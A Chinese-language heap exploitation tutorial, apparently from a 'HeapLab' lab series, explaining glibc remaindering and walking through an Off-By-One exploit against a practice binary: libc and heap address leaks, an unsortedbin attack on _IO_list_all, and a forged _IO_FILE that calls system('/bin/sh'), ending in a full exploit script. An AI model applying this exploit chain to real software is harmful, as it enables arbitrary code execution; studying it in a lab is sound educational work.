[HeapLab] Off-by-One

这一节的内容是Off-By-One

相比于溢出、UAF、Double Free等漏洞,Off-By-One其实更加容易出现

Off-By-One是指在程序输入时由于边界条件没有检查好,导致能够多输入一个字节的漏洞;

还有更加特殊的情况——Off-By-Null,即能够多输入一个\x00字符

在栈上如果仅仅只是能多输入一个字符,这样一般也很难造成特别大的影响,但是堆就不一样了。

堆上的一个特殊地方就在于prev_inuse

这个位用来标识前一个chunk是否是在用的状态,如果将一个位清零,就可能让堆管理器认为前一个chunk是free的状态,从而分配两次,进一步能导致UAF的问题。

在实践之前还需要了解一个堆的机制,Remaindering

Remaindering

Remaindering实际上就是当无法直接申请到大小合适的chunk时,malloc将一个free chunk分为两个小的chunk,并将其中一个合适大小的分配出去,剩余的chunk加到unsortebin中的过程。

这种处理方式会在三种情况下出现:

  • 从largebins中分配时
  • 搜索binmap过程中
  • unsortedbin遍历时

这一节中的内容涉及到的是unsortedbin遍历时的情况,另外两种情况在后面学习时进行介绍;

再看一眼这个堆结构图

image-20210310161659389

其中在Top Chunk和unsortedbin的fd之间有一项last_remainder

这个字段存储的chunk仅仅可用于大小处于smallbin的申请

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */

在遍历unsortedbin时,如果满足了这样的条件则会从last_remainder中申请分配chunk

实践

文字上的描述看起来又臭又长,还是直接用实例看一下吧。

image-20211107181407166

可以看到这个例子程序安全保护机制全开

运行的时候支持这么几种常见的功能:申请、编辑、读、释放

相比之前的示例程序,这个程序并没有输出堆的地址和libc的地址

因此我们在利用时首先需要泄漏libc

但是并不能决定malloc的大小,每次申请的内存都是0x60

image-20211107182339845

虽然菜单写的是malloc,但是实际上程序申请内存使用的是calloc

两者的差别主要是calloc申请内存后会将内容置0

漏洞点是edit功能可以编辑比malloc的大小多一个字节的内容

image-20211108135109353

泄漏libc地址

想要泄漏出libc的地址,可以考虑使用unsortedbin leak

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)

首先我们修改chunk_B的大小为0xc1

为两个0x60,这样chunk_B就包含了申请时的B和C

这时free掉chunk_B会被加入到unsortedbin中

由于unsortedbin目前只有这一项,fd、bk都会指向main_arena

image-20211108141053515

如果能设法读到fd和bk

就可以得到一个libc中的地址

那么问题来了,这时我们再申请一个chunk,这个chunk的起始位置会在哪里呢?

image-20211115184628435

可以看到再次申请的chunk还是在B的位置

image-20211115184923962

原本大小为0xc0的unsortedbin发生了remaindering,切分为了两部分

其中0x60分配给我们这次的申请,另外的0x60又重新被放到了unsortedbin中,也就是我们原本C的位置

看到发生了remaindering之后,main_arena.last_remainder中的值变成了切分下来的这个部分;

那么接下来直接读C的内容就可以得到图中0x7fffd7dd4b78这个指针了

这个值减去88就是main_arena的地址,由此得到了一个libc的地址

offset = lib.sym.main_arena + 88

data = u64(read(chunk_C)[:8])

libc.address = data - offset

泄漏堆地址

现在我们有了一个泄漏的libc地址,就可以利用house_of_orange中的技巧,用unsortedbin attack尝试覆盖_IO_list_all的vtable了

这样我们需要在堆上伪造一个_IO_FILE出来,但是要确定vtable的值还需要泄漏一个堆上的地址

那么我们就可以利用目前chunk_C这里的双重指针,构造出一个fastbin的fd

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

这样chunk_C的前8个字节就变成了一个fastbin的fd,指向的是chunk_A的位置即堆的起始地址

image-20211116133127445

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")

unsortedbin attack

接下来就是利用unsortedbin attack完成之前house of orange中的最后一步

修改_IO_list_all

这里要完成unsortedbin attack我们其实可以在获取libc地址和获取堆地址之间完成

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()

edit(chunk_A,b'Y'*0x58 + b'\xc1')
free(chunk_B)

offset = lib.sym.main_arena + 88
data = u64(read(chunk_C)[:8])
libc.address = data - offset
log.info(f"libc @ {libc:02x}")

edit(chunk_C, p64(0) + p64(libc.sym._IO_list_all - 0x10))

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ {heap:02x}")

只需要加一句edit(chunk_C)就可以

回忆一下unsortedbin attack,我们只要控制了bk,就可以在任意位置写入一个当前chunk的地址;

将fd设置为任意值,bk设置为_IO_list_all - 0x10

这样就可以将_IO_list_all覆盖为chunk_C的地址了

image-20211116155238895

接下来需要做的是在堆上构造一个 _IO_FILE,我们可以先直接将之前house of orange中的payload复制过来

payload = b"Y"*0x10
flag = b'/bin/sh\x00'

fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)                                                                                                                             
overflow = p64(libc.sym.system)

payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable

这里面有一部分最初的填充是不需要的,另外vtable的值可能也需要变一变

去掉开头的填充后整个payload的长度是224,即0xE0

如果从chunk_C开始算起,那么我们还是需要三个0x60大小的chunk来放这些内容

edit(chunk_B,p64(0)*10+b"/bin/sh\x00")
edit(chunk_C,p64(fd)+p64(bk)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))

计算之后vtable的值应该设置为heap+0x178

image-20211116193809247

图中绿色是/bin/sh的字符串

粉色是write_basewrite_ptr,已经设置为了1和2

红色是overflow函数指针,设置为了system的地址

蓝色是vtable指针,重新指向了heap+0x178

这时只要再次malloc,将unsortedbin sort到0x60的smallbin中,_IO_list_all就会顺着_chain指向我们伪造的_IO_FILE


但是再次malloc会发现,什么都没有发生

这是因为我们申请的chunk大小本身就是0x60,再次malloc时这个unsortebin根本不会sort,由于大小刚刚好,直接就给我们分配过来了

跟着_IO_list_all的指针看一下,可以发现_IO_list_all.file._chain._chain还是在main_arena

image-20211116194429079

对照着arena的分布图可以得知这个位置是0xb0大小的smallbin

既然0x60的没办法sort,那我们可以在申请前再一次利用off by one的漏洞把原本0x60大小的unsortedbin伪造为0xb0大小

这样让_IO_list_all指针指两层后再指向我们申请的chunk_C处

那么就是需要修改一下chunk_B的edit那句

edit(chunk_B,p64(0)*10+b"/bin/sh\x00"+b'\xb1')

最后增加了一个字节的修改

image-20211116194819999

修改完成之后,再次malloc

image-20211116195438001

就得到了一个shell

完整的payload

chunk_A = malloc()
chunk_B = malloc()
chunk_C = malloc()
chunk_D = malloc()
chunk_E = malloc()

edit(chunk_A, b"Y"*0x50+ p64(0x60) + b'\xc1')

free(chunk_B)

chunk_B = malloc()
data = u64(read(chunk_C)[:8])
offset = libc.sym.main_arena + 0x58
libc.address = data - offset
log.info(f"libc @ 0x{libc.address:02x}")

chunk_C2 = malloc()
free(chunk_A)
free(chunk_C2)

heap = u64(read(chunk_C)[:8])
log.info(f"heap @ 0x{heap:02x}")

chunk_C2 = malloc()
chunk_A = malloc()

edit(chunk_A, b"Y"*0x50 + p64(0x60)+b'\xc1')
free(chunk_B)

chunk_B = malloc()

vtable = heap + 0x178
edit(chunk_B,p64(0)*10+b'/bin/sh\x00\xb1')
edit(chunk_C,p64(0)+p64(libc.sym._IO_list_all-0x10)+p64(1)+p64(2))
edit(chunk_E,p64(libc.sym.system)+p64(vtable))

malloc()

总结

总结一下,栈漏洞中的溢出一个字节一般比较难造成很大影响

但是堆中的off by one可以覆盖prev_inuse位,导致有可能出现两个指针指向一块内存的情况,进一步可以用unsortedbin leak泄漏libc地址、fastbin泄漏堆地址、unsortebin attack结合伪造_IO_FILE一系列操作拿到shell